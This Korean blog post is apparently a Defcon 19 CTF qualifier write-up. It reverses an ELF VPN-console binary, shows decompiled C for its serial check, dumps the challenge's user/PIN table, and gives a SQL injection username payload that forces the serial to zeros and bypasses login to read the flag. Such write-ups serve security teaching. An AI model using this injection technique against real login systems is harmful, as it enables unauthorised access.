Defcon 19th CTF Quals - Retro Revisted 300

2011. 9. 23. 01:00·CTF
Category : Revering

* file

Summary : bypass authentication on ELF binary by sql injection

Binary info.

[retro300@localhost ~]$ file retro300
retro300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
[retro300@localhost ~]$ file auth.db
auth.db: SQLite 3.x database

int main()
{
  int sock_fd; 
  sock_fd = sock_init(word_804BBB0);
  user_check("retro300");
  loop(sock_fd, (int)client_callback);
  return 0;
}


main 함수에서는 daemonize 시킨후 접속한 클라이언트에게 client_callback함수를 실행시켜준다.
client_callback은 "letmeinpls"라는 문자열을 전송받으면 Username과 Passcode를 입력받고 인증루틴을 거친후 로그인처리를 한다.

[pwn3r@localhost ~]$ nc 127.0.0.1 5500
letmeinpls
                                           _____ ______ _____ _     _ 
               __    ____       __        / ____|  ____/ ____(_)   | |
          ____/ /___/ / /____  / /__     | (___ | |__ | |     _  __| |
         / __  / __  / __/ _ \/ //_/      \___ \|  __|| |    | |/ _` |
        / /_/ / /_/ / /_/  __/ ,<         ____) | |___| |____| | (_| |
        \__,_/\__,_/\__/\___/_/|_|       |_____/|______\_____|_|\__,_|    (beta)


    ( cause everyone is looking for a new provider right?!)

Username:pwn3r
Passcode:hihi
Bad Username or Pin


로그인에 성공하면 5가지의 메뉴를 띄워준후 선택을 기다린다.

.............
.............
if ( check_serial(userindex, &client_serial) >= 0 )

          {
            do
            {
              menu(fd);
              len = sock_read(fd, (int)str, 0x63u, 10);
              str[len] = 0;
              if ( len == 1 )
              {
                choice = atoi(str);
                if ( (unsigned int)choice <= 9 )
                  JUMPOUT(__CS__, (unsigned int)menu_table[choice]);
                sock_send(fd, "please select from the options presented", 0);
              }
              else
              {
                sock_send(fd, "please select from the options presented", 0);
              }
            }
            while ( choice != 5 );
.............
.............

출력되는 메뉴에는 없지만 , 8번을 선택하면 /home/retro300/key 파일을 읽어 전송해주는 루틴을 실행한다.
그러므로 로그인에 성공하고 8번을 선택하기만하면 flag를 얻을 수 있다.

int __cdecl sub_80496F7(int client_fd)
{
  int result; 
  char buf[36];
  int len; 
  int fp; 
  fp = open("/home/retro300/key", 0);
  if ( fp >= 0 )
  {
    len = read(fp, buf, 0x23u);
    if ( len <= 0 )
    {
      sock_send(client_fd, "bad key read!", 0);
    }
    else
    {
      buf[len] = 0;
      sock_send(client_fd, buf, 0);
    }
    result = close(fp);
  }
  else
  {
    result = sock_send(client_fd, "key file missing!", 0);
  }
  return result;
}


인증처리과정은 단순하다.
Username을 입력받고 auth.db에 query(select id,pin from users where user='%s')를 보내 Username에 해당하는 Pin과 id를 가져온다.
그리고 auth.db에서 가져온 id와 현재 시간을 이용한 연산을 통해 10글자의 시리얼을 생성한다.
최종적으로 Client에게 입력받은 Passcode와 [db에서 가져온 Pin]+[10글자의 시리얼] 을 비교함으로써 로그인처리를 한다.


auth.db

query > select * from users;

---------------------
id |name |pin
---------------------
1 |aaron |7345
2 |dave |3245
3 |bob |8367
4 |joe |8305
5 |vulcan |2945
6 |merc |2345
7 |mars |3473
8 |jupi |1234
9 |jeff |1315



아래는 시리얼을 생성하는 핵심 루틴이다.

int check_serial(int index, const char *serial)
{
  int tmp;
  char realserial[4];
  unsigned int effective_time;
  time_t time_var;
  uint32_t hostlong;
  int i;
  int temp;
  int res;

  res = -1;
  *realserial = '4321';
  temp = 0x49BD9680;
  hostlong = temp ^ 0x75CCDF74;
  time_var = time(0);
  effective_time = time_var - time_var % 600;
  for ( i = 0; i <= 149999; ++i )
  {
    hostlong = call_oper(hostlong, temp);
    if ( temp == effective_time )
    {
      tmp = oper2(hostlong);
      sprintf(realserial, "%0.10u", tmp * (index + 1));
    }
    temp += 600;
  }
  if ( !strncmp(realserial, serial, 0xA) )
    res = 0;
  return res;
}


내부적으로 여러가지 연산을 하는 함수를 호출해 시리얼을 생성한다.
3가지 방법으로 풀이가 가능하다.


1) 시리얼을 생성하는 루틴을 분석한후 , 시리얼을 생성해 전송하는 script를 작성하는 방법.
2) ptrace를 이용해 디버깅을 방지하는 부분을 우회 , 디버거에서 생성된 시리얼을 확인하여 대회서버에 전송해 인증하는 방법.
3) sql injection으로 id 값을 조작해 시리얼을 조작한다.


3번방법을 이용해 풀이한다.

sprintf(realserial, "%0.10u", tmp * (index + 1));

시리얼생성함수에서 위처럼 (id + 1) 과 연산된 값(tmp)을 곱하여 시리얼을 생성하는데 , sql injection으로 id 값을 -1로 조작해준다면 시리얼은 항상 '0000000000'이 되어버린다.
이를 이용해 로그인에 성공하고 flag를 얻을 수 있다.

[pwn3r@localhost rr300]$ nc 192.168.123.131 5500
letmeinpls
                                           _____ ______ _____ _     _
               __    ____       __        / ____|  ____/ ____(_)   | |
          ____/ /___/ / /____  / /__     | (___ | |__ | |     _  __| |
         / __  / __  / __/ _ \/ //_/      \___ \|  __|| |    | |/ _` |
        / /_/ / /_/ / /_/  __/ ,<         ____) | |___| |____| | (_| |
        \__,_/\__,_/\__/\___/_/|_|       |_____/|______\_____|_|\__,_|    (beta)


    ( cause everyone is looking for a new provider right?!)

Username:pwn3r' union select -1,'1234'--
Passcode:12340000000000
sending 0000000000 out of buf: 12340000000000
   DDTEK VPN console        
                            
    Choose an option:       
       1:  change pin       
       2:  re-sync sec token
       3:  add user         
       4:  change username  
       5:  exit

8
lookheedsurLovesemsumAPT


Flag : lookheedsurLovesemsumAPT

'CTF' 카테고리의 다른 글

CSAW CTF Quals 2011 - bin1  (0) 2011.09.27
Defcon 19th CTF Quals - Retro Revisted 200  (0) 2011.09.25
ISEC 2011 본선 CTF - board  (0) 2011.09.21
ISEC 2010 본선 CTF - hks  (0) 2011.09.17
Defcon 19th CTF 2011 Quals - Potent Pwnables 100  (0) 2011.09.11
'CTF' 카테고리의 다른 글
  • CSAW CTF Quals 2011 - bin1
  • Defcon 19th CTF Quals - Retro Revisted 200
  • ISEC 2011 본선 CTF - board
  • ISEC 2010 본선 CTF - hks
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    csaw
    power of community
    후기
    HUST
    csaw ctf
    gnuboard
    vuln
    HUST2011
    POC
    정보보호올림피아드
    web
    pwnables
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Defcon 19th CTF Quals - Retro Revisted 300
상단으로

티스토리툴바